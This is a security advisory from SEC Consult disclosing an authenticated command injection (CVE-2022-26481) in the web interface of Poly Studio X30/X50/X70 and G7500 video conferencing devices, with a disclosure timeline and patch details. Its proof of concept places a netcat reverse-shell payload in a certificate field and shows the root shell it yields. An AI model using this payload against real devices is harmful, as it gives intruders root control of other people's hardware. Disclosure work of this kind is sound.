SEC Consult Vulnerability Lab Security Advisory < 20220601-1 > ======================================================================= title: Authenticated Command Injection product: Poly Studio X30, Studio X50, Studio X70, G7500 vulnerable version: 3.4.0-292042, 3.5.0-344025, 3.6.0 fixed version: 3.7.0 or higher CVE number: CVE-2022-26481 impact: critical homepage: https://www.poly.com found: 2021-07-14 by: Johannes Kruchem (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Experience full board-room-quality audio, and knock-your-socks-off video, for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically simple to use with support for leading cloud video services built right in—no PC or Mac required. Voices are crisp and clear. Video feels natural. And wireless content sharing lets users collaborate from their devices without cables or pucks." https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50 Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) An authenticated Command Injection vulnerability exists in the web interface when creating a certificate. An attacker is able to execute commands with root privileges. Proof of concept: ----------------- 1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) When being authenticated: 1. In the system web interface, go to Security > Certificates. 2. Select Create Certificate Signing Request (CSR). 3. In the Certificate Details form, complete the following fields: Common Name (CN): $(busybox nc 10.0.0.1 8888 -e /system/bin/sh) (steps taken from https://documents.polycom.com/bundle/polypartnermode-ag-3-1-1/page/t1919784.html) The previously started nc listener receives a connection from the camera as root: $ nc -lvp 8888 connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2] $ pwd /oem/polycom/bin $ whoami root Vulnerable / tested versions: ----------------------------- At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and G7500 are affected: - 3.4.0 - 3.5.0 - 3.6.0 Vendor contact timeline: ------------------------ 2021-07-14: Contacting vendor through PSIRT email. 2021-07-15: Vendor sent PGP key. 2021-07-16: Advisory was sent to the vendor. 2021-07 to 2022-03: Further coordination with multiple emails and meetings. 2022-03-18: Vendor provides draft advisory. 2022-03 - 2022-06: Patch already available, waiting for vendor advisory release. 2022-06-01: Coordinated release of security advisory. Solution: --------- Update to firmware version 3.7.0 or higher. The firmware can be downloaded from the vendor's support page: https://www.poly.com/us/en/support/products This issue has been documented in the vendor's security advisory PLYTV21-09: https://www.poly.com/content/dam/www/products/support/global/security/2022/PLYTV21-09_Studio-X50-Improper-Neutralization-of-Special-Elements-used-in-an-OS-Command.pdf Workaround: ----------- In order to minimize the risk of exploitation, set a strong password for the web interface and restrict network access to the device. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Johannes Kruchem / @2022